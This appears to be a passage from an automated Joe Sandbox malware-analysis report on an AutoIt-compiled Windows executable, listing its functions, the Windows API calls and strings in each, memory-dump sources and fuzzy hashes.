Instruction Fuzzy Hash: 86E0B640E1E14745FE78757115458B899800F983F1ED81BB0D93E492C2FD2CB8B34130

Function 00007FF7978AB334 Relevance: 1.5, APIs: 1, Instructions: 21fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 00007FF7978AB365

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: a0a1439e265e291f150910246ad1a366446c83d0ba354e2dc0beef75c9ab4ebe
Instruction ID: 6c411836be3890cc31ea08cd8584441c0bce79fb105f6754eed6f279a13d4729
Opcode Fuzzy Hash: a0a1439e265e291f150910246ad1a366446c83d0ba354e2dc0beef75c9ab4ebe
Instruction Fuzzy Hash: 16E03932608A9182D720DB16F44071AEB70FB8ABC8F944525EF8C47B19CF7DC5628B80

Function 00007FF797833EB4 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE ref: 00007FF797833ED8

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 637964e6b351f452a28879436c201a5e99f96031ec26c8877a7972d1003a59f1
Instruction ID: 4645c9606a90ceddf74555acab45b26ca23796de544a7598462f34749369c798
Opcode Fuzzy Hash: 637964e6b351f452a28879436c201a5e99f96031ec26c8877a7972d1003a59f1
Instruction Fuzzy Hash: 28E0D822B0874181D731A739E584798A761FF9C7C4F544031EE8C43B5ADD6CC5D68B10

Function 00007FF797835D88 Relevance: 1.5, APIs: 1, Instructions: 19windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32 ref: 00007FF797835DDE

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 8549ef6000eb42c958f03a95ba6a5408167db34924d740ad0d6437c30ec5f920
Instruction ID: f885a47b308a4a10173a7668b276e639ba0e07944a80d2c2f4dab5fbbd4e45ef
Opcode Fuzzy Hash: 8549ef6000eb42c958f03a95ba6a5408167db34924d740ad0d6437c30ec5f920
Instruction Fuzzy Hash: E1F05861A1DB8287E371BB68E404369BAA5FB84388FC44039D18D06396CE3CD316CB20

Function 00007FF797831080 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF797837920: RegOpenKeyExW.KERNELBASE(?,?,?,00007FF79783109E), ref: 00007FF797837A75

_onexit.LIBCMT ref: 00007FF797854F10

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Open_onexit
String ID:
API String ID: 3030063568-0
Opcode ID: b140cdc24b49e8f2daa3c32c26d085363ec4fbb544eeb351244c2f0ff3a01b4f
Instruction ID: 2df7975031d01c18cc58700633822748ca1a0c28963cae571221398b19fc55ad
Opcode Fuzzy Hash: b140cdc24b49e8f2daa3c32c26d085363ec4fbb544eeb351244c2f0ff3a01b4f
Instruction Fuzzy Hash: AAE08C50F1A54F80EA24BB7E9885874C7A0AF91385FC15536C00D82362EE2CD2A78320

Function 00007FF7978310E8 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF797851D80: GetVersionExW.KERNEL32 ref: 00007FF797851DC8
Part of subcall function 00007FF797851D80: GetCurrentProcess.KERNEL32 ref: 00007FF797851F42
Part of subcall function 00007FF797851D80: IsWow64Process.KERNEL32 ref: 00007FF797851F52

_onexit.LIBCMT ref: 00007FF797854F10

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Process$CurrentVersionWow64_onexit
String ID:
API String ID: 2932345936-0
Opcode ID: 03ad02108163b1b9c24d53c6048626981572e85475d5139af19f078af1ef234b
Instruction ID: 1352e59c0d602967deb0e04f5c089872fc7badf16553b9cffbc2b83d17f0b832
Opcode Fuzzy Hash: 03ad02108163b1b9c24d53c6048626981572e85475d5139af19f078af1ef234b
Instruction Fuzzy Hash: D7C00211E6D44B91E72877B948868B455A05FA5394FD00576D10E85292DD1C51FB4731

Function 00007FF797831048 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00007FF797854F10

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _onexit
String ID:
API String ID: 572287377-0
Opcode ID: 773ed23fe7bc1dd7e8b75972c2a26041a0abafe16c5f42d1a8e6024edf34d541
Instruction ID: 834d8c3a1ecbd0ea11e65221e210a109d521cccfb4cbf089ad124becfb087ebe
Opcode Fuzzy Hash: 773ed23fe7bc1dd7e8b75972c2a26041a0abafe16c5f42d1a8e6024edf34d541
Instruction Fuzzy Hash: 23C01200E5D04B80E62873B9488687445E00FE9391FD00975C00E81282DD1C51FB0721

Function 00007FF797831064 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00007FF797854F10

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _onexit
String ID:
API String ID: 572287377-0
Opcode ID: 5447c473e94d7294484c99fc93f4d38cb7bf7a8a438e953c913b8a13f1fa59d2
Instruction ID: 7208ac4a19dd11ff7a85fd56ba027f07cc8e868d6b232a0fe3395c2190414be4
Opcode Fuzzy Hash: 5447c473e94d7294484c99fc93f4d38cb7bf7a8a438e953c913b8a13f1fa59d2
Instruction Fuzzy Hash: 7CC01201E6E04B80E62873B94C8687845A00FE9340FD40675C00E81282DD2C51F74631

Function 00007FF7978B7E48 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7978B7FBE

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: e5acb69707dc582a49b6867ff9037b7b751d07d439139e28c608b8377ee6a61c
Instruction ID: ec6e452df143c2220a39f7102bb3c5898411648e51a25af967c2c619300c5aad
Opcode Fuzzy Hash: e5acb69707dc582a49b6867ff9037b7b751d07d439139e28c608b8377ee6a61c
Instruction Fuzzy Hash: 7C715B22B04A4285EB20FF75D095BBDABA0EB84BC4F804532DE0D57796DF38E466C360

Function 00007FF79786C51C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF79786C55A

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: d6cab95e1f74feff6e8dd6f9a30a9cf55c0df8872244003ab96fdfaeeafef6ec
Instruction ID: 6a605521690687726163bf876aff1459e9b6c0c4727c60262f83f510b888aedf
Opcode Fuzzy Hash: d6cab95e1f74feff6e8dd6f9a30a9cf55c0df8872244003ab96fdfaeeafef6ec
Instruction Fuzzy Hash: F8F03A40A0964795FE34B6725C0DE78D9806F44BE0FC88630D82EC92D9DE5DF4628230

Function 00007FF797838314 Relevance: 1.3, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,00000001,00007FF79783836F,?,?,?,00007FF79783E7E7), ref: 00007FF79783833D

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: ee0b3854a55e6d386332b09172a2bebdb13c6c40f32be3cd2150d61c605b23c5
Instruction ID: 9f39132db4fcdcce27fa43145d07170f7dc49be25edeebaab458da7f12e94b0d
Opcode Fuzzy Hash: ee0b3854a55e6d386332b09172a2bebdb13c6c40f32be3cd2150d61c605b23c5
Instruction Fuzzy Hash: 5FE04F63D14A05C6EB145B34D44433862A0E714B7EF510724C63C062C4DF7CC5A58250

Non-executed Functions

Function 00007FF7978C56A0 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 476filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32 ref: 00007FF7978C570B
DeleteObject.GDI32 ref: 00007FF7978C5724
DestroyWindow.USER32 ref: 00007FF7978C5738
GetDesktopWindow.USER32 ref: 00007FF7978C5758
GetWindowRect.USER32 ref: 00007FF7978C5766
SetRect.USER32 ref: 00007FF7978C58A7
AdjustWindowRectEx.USER32 ref: 00007FF7978C58BA
CreateWindowExW.USER32 ref: 00007FF7978C5929
GetClientRect.USER32 ref: 00007FF7978C593E
CreateWindowExW.USER32 ref: 00007FF7978C59A9
CreateFileW.KERNEL32 ref: 00007FF7978C59E6
GetFileSize.KERNEL32 ref: 00007FF7978C59FE
GlobalAlloc.KERNEL32 ref: 00007FF7978C5A0C
GlobalLock.KERNEL32 ref: 00007FF7978C5A18
ReadFile.KERNEL32 ref: 00007FF7978C5A33
GlobalUnlock.KERNEL32 ref: 00007FF7978C5A3E
CloseHandle.KERNEL32 ref: 00007FF7978C5A47
GlobalFree.KERNEL32 ref: 00007FF7978C5A54
CreateStreamOnHGlobal.OLE32 ref: 00007FF7978C5A68
OleLoadPicture.OLEAUT32 ref: 00007FF7978C5A87
GlobalFree.KERNEL32 ref: 00007FF7978C5A9A
CopyImage.USER32 ref: 00007FF7978C5ACB
SendMessageW.USER32 ref: 00007FF7978C5AEE
SetWindowPos.USER32 ref: 00007FF7978C5B2A
ShowWindow.USER32 ref: 00007FF7978C5DDD

Strings

static, xrefs: 00007FF7978C5969, 00007FF7978C5B56
DISPLAY, xrefs: 00007FF7978C5BA1
, xrefs: 00007FF7978C5B17
AutoIt v3, xrefs: 00007FF7978C5917

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 8e2f89096802004413711948fd726798781e069153c0ca8acc30819db0585273
Instruction ID: efbdb5eb16a9daabe79f67397040c770da9c5cb99f809dfc395927f1aa0df929
Opcode Fuzzy Hash: 8e2f89096802004413711948fd726798781e069153c0ca8acc30819db0585273
Instruction Fuzzy Hash: 32226036A0874286EB20EF39E854969BBA0FB88BD4F944135DE4E47B64DF3CD456CB10

Function 00007FF7978E17C0 Relevance: 70.6, APIs: 38, Strings: 2, Instructions: 587windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF797832A54: GetWindowLongPtrW.USER32 ref: 00007FF797832A71

GetWindowLongW.USER32 ref: 00007FF7978E189B
SendMessageW.USER32 ref: 00007FF7978E18C9
SendMessageW.USER32 ref: 00007FF7978E18F4
GetKeyState.USER32 ref: 00007FF7978E19A7
GetKeyState.USER32 ref: 00007FF7978E19BB
SendMessageW.USER32 ref: 00007FF7978E19D8
GetKeyState.USER32 ref: 00007FF7978E19E6
SendMessageW.USER32 ref: 00007FF7978E1A16
SendMessageW.USER32 ref: 00007FF7978E1A9C
SendMessageW.USER32 ref: 00007FF7978E1AC7
GetCursorPos.USER32 ref: 00007FF7978E1B66
ScreenToClient.USER32 ref: 00007FF7978E1B74
SendMessageW.USER32 ref: 00007FF7978E1BD7
SendMessageW.USER32 ref: 00007FF7978E1BFF
SendMessageW.USER32 ref: 00007FF7978E1C32
SendMessageW.USER32 ref: 00007FF7978E1C64
SendMessageW.USER32 ref: 00007FF7978E1C86
SendMessageW.USER32 ref: 00007FF7978E1C9C
GetCursorPos.USER32 ref: 00007FF7978E1CC4
ScreenToClient.USER32 ref: 00007FF7978E1CD2
GetParent.USER32 ref: 00007FF7978E1CF1
SendMessageW.USER32 ref: 00007FF7978E1D54
SendMessageW.USER32 ref: 00007FF7978E1D7E
ClientToScreen.USER32 ref: 00007FF7978E1DD1
TrackPopupMenuEx.USER32 ref: 00007FF7978E1E0E
SendMessageW.USER32 ref: 00007FF7978E1E33
SendMessageW.USER32 ref: 00007FF7978E1E5A
ClientToScreen.USER32 ref: 00007FF7978E1E9F
TrackPopupMenuEx.USER32 ref: 00007FF7978E1EDF
GetWindowLongW.USER32 ref: 00007FF7978E1F70
DefDlgProcW.USER32 ref: 00007FF7978E2197

Strings

F, xrefs: 00007FF7978E1E60
@GUI_DRAGID, xrefs: 00007FF7978E210C

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: MessageSend$ClientScreen$LongStateWindow$CursorMenuPopupTrack$ParentProc
String ID: @GUI_DRAGID$F
API String ID: 1993697042-4164748364
Opcode ID: e7992e5e1d6abc7067500734153cecba052fd935204e75541dffe076f882d139
Instruction ID: bc49370c2e8680bbc95851608d2cfcd4a8bd05b2bfdc5dd2685004876cd6fd47
Opcode Fuzzy Hash: e7992e5e1d6abc7067500734153cecba052fd935204e75541dffe076f882d139
Instruction Fuzzy Hash: 29526232B18A4682EB24BB35D844ABDAB61FF84BD4F944135DB0D43A94CF3CE562C750

Function 00007FF7978DBA0C Relevance: 54.8, APIs: 30, Strings: 1, Instructions: 500windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF7978DBAE3
SendMessageW.USER32 ref: 00007FF7978DBB33
IsMenu.USER32 ref: 00007FF7978DBB4E
GetMenuItemInfoW.USER32 ref: 00007FF7978DBB94
SendMessageW.USER32 ref: 00007FF7978DBC27
SendMessageW.USER32 ref: 00007FF7978DBC4E
SendMessageW.USER32 ref: 00007FF7978DBC67
SendMessageW.USER32 ref: 00007FF7978DBC82
SendMessageW.USER32 ref: 00007FF7978DBCA6
SendMessageW.USER32 ref: 00007FF7978DBCD4
SendMessageW.USER32 ref: 00007FF7978DBCF0
SendMessageW.USER32 ref: 00007FF7978DBD14
GetWindowLongW.USER32 ref: 00007FF7978DBD4F
SendMessageW.USER32 ref: 00007FF7978DBD9C
SendMessageW.USER32 ref: 00007FF7978DBDC0
SendMessageW.USER32 ref: 00007FF7978DBE5A
wsprintfW.USER32 ref: 00007FF7978DBE91
SendMessageW.USER32 ref: 00007FF7978DBEAE
GetWindowTextW.USER32 ref: 00007FF7978DBEE3
SendMessageW.USER32 ref: 00007FF7978DBF05
SendMessageW.USER32 ref: 00007FF7978DBF2E
GetWindowTextW.USER32 ref: 00007FF7978DBF5B
GetWindowLongW.USER32 ref: 00007FF7978DBFF2
SendMessageW.USER32 ref: 00007FF7978DC026
SendMessageW.USER32 ref: 00007FF7978DC067
SendMessageW.USER32 ref: 00007FF7978DC0D0
CharNextW.USER32 ref: 00007FF7978DC10B
SendMessageW.USER32 ref: 00007FF7978DC152
SendMessageW.USER32 ref: 00007FF7978DC189

Strings

%d/%02d/%02d, xrefs: 00007FF7978DBE76

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: MessageSend$Window$LongMenuText$CharInfoItemNextwsprintf
String ID: %d/%02d/%02d
API String ID: 1218376639-328681919
Opcode ID: 90748256b479811e801e2ba2a2da838b4a00620d6b05b427b58448ad522df4ef
Instruction ID: 067753c72628397216dc5887f940f163f5216e8a8721ab9bdedef3ac526946e5
Opcode Fuzzy Hash: 90748256b479811e801e2ba2a2da838b4a00620d6b05b427b58448ad522df4ef
Instruction Fuzzy Hash: 1E12D132B0965286FB70AB359898EBDABA4EF84BD4F804131DA5D47B94DF3CD4638710

Function 00007FF7978DDB18 Relevance: 51.2, APIs: 28, Strings: 1, Instructions: 462windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32 ref: 00007FF7978DDBEA
SendMessageW.USER32 ref: 00007FF7978DDC8E
SendMessageW.USER32 ref: 00007FF7978DDCAD
SendMessageW.USER32 ref: 00007FF7978DDCE6
GetMenuItemInfoW.USER32 ref: 00007FF7978DDD10
SetMenuItemInfoW.USER32 ref: 00007FF7978DDD70
SetMenuDefaultItem.USER32 ref: 00007FF7978DDD86
GetMenuItemInfoW.USER32 ref: 00007FF7978DDD96
SetMenuDefaultItem.USER32 ref: 00007FF7978DDDB4
DrawMenuBar.USER32 ref: 00007FF7978DDDBE
SendMessageW.USER32 ref: 00007FF7978DDE57
SendMessageW.USER32 ref: 00007FF7978DDE92
GetWindowLongW.USER32 ref: 00007FF7978DDEBD
SendMessageW.USER32 ref: 00007FF7978DDEFC
SendMessageW.USER32 ref: 00007FF7978DDF3F
EnableWindow.USER32 ref: 00007FF7978DDFA7
EnableWindow.USER32 ref: 00007FF7978DDFBD
ShowWindow.USER32 ref: 00007FF7978DE03E
ShowWindow.USER32 ref: 00007FF7978DE051
EnableWindow.USER32 ref: 00007FF7978DE06B
SendMessageW.USER32 ref: 00007FF7978DE0A0
SendMessageW.USER32 ref: 00007FF7978DE0C4
GetFocus.USER32 ref: 00007FF7978DE0CA
MoveWindow.USER32 ref: 00007FF7978DE18A
SendMessageW.USER32 ref: 00007FF7978DE19F
GetWindowRect.USER32 ref: 00007FF7978DE1BE
MoveWindow.USER32 ref: 00007FF7978DE1F1
MoveWindow.USER32 ref: 00007FF7978DE21F

Strings

P, xrefs: 00007FF7978DDCFD

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Window$MessageSend$Menu$Item$EnableInfoMove$DefaultShow$DrawFocusLongRect
String ID: P
API String ID: 1208186926-3110715001
Opcode ID: 0e3e078a853430a05022e0f772db04c3cd8d70c986a797c2cebe1c7d1304ed73
Instruction ID: 11104168c192ab25acdee7371144112a609e964f385f8c374f32fa49ec79b7fe
Opcode Fuzzy Hash: 0e3e078a853430a05022e0f772db04c3cd8d70c986a797c2cebe1c7d1304ed73
Instruction Fuzzy Hash: E312F372A0864286E734AB35D494FBDABA0FF85BD4F804536DA5D07A94CF3CE462C760

Function 00007FF7978C32AC Relevance: 47.6, APIs: 22, Strings: 5, Instructions: 327windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF7978C51B9
SystemParametersInfoW.USER32 ref: 00007FF7978C5312
SetRect.USER32 ref: 00007FF7978C5358
AdjustWindowRectEx.USER32 ref: 00007FF7978C536B
CreateWindowExW.USER32 ref: 00007FF7978C53D6
GetClientRect.USER32 ref: 00007FF7978C53EB
CreateWindowExW.USER32 ref: 00007FF7978C546A
CreateDCW.GDI32 ref: 00007FF7978C5486
GetStockObject.GDI32 ref: 00007FF7978C5496
SelectObject.GDI32 ref: 00007FF7978C54A2
GetTextFaceW.GDI32 ref: 00007FF7978C54B3
GetDeviceCaps.GDI32 ref: 00007FF7978C54C0
DeleteDC.GDI32 ref: 00007FF7978C54CB
CreateFontW.GDI32 ref: 00007FF7978C5530
SendMessageW.USER32 ref: 00007FF7978C5546
CreateWindowExW.USER32 ref: 00007FF7978C55A8
SendMessageW.USER32 ref: 00007FF7978C55C6
SendMessageW.USER32 ref: 00007FF7978C55DE
CreateWindowExW.USER32 ref: 00007FF7978C563B
GetStockObject.GDI32 ref: 00007FF7978C564B
SendMessageW.USER32 ref: 00007FF7978C5661
ShowWindow.USER32 ref: 00007FF7978C5671

Strings

static, xrefs: 00007FF7978C5463, 00007FF7978C5622
DISPLAY, xrefs: 00007FF7978C5473
msctls_progress32, xrefs: 00007FF7978C558C
A, xrefs: 00007FF7978C5629
AutoIt v3, xrefs: 00007FF7978C53C5

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

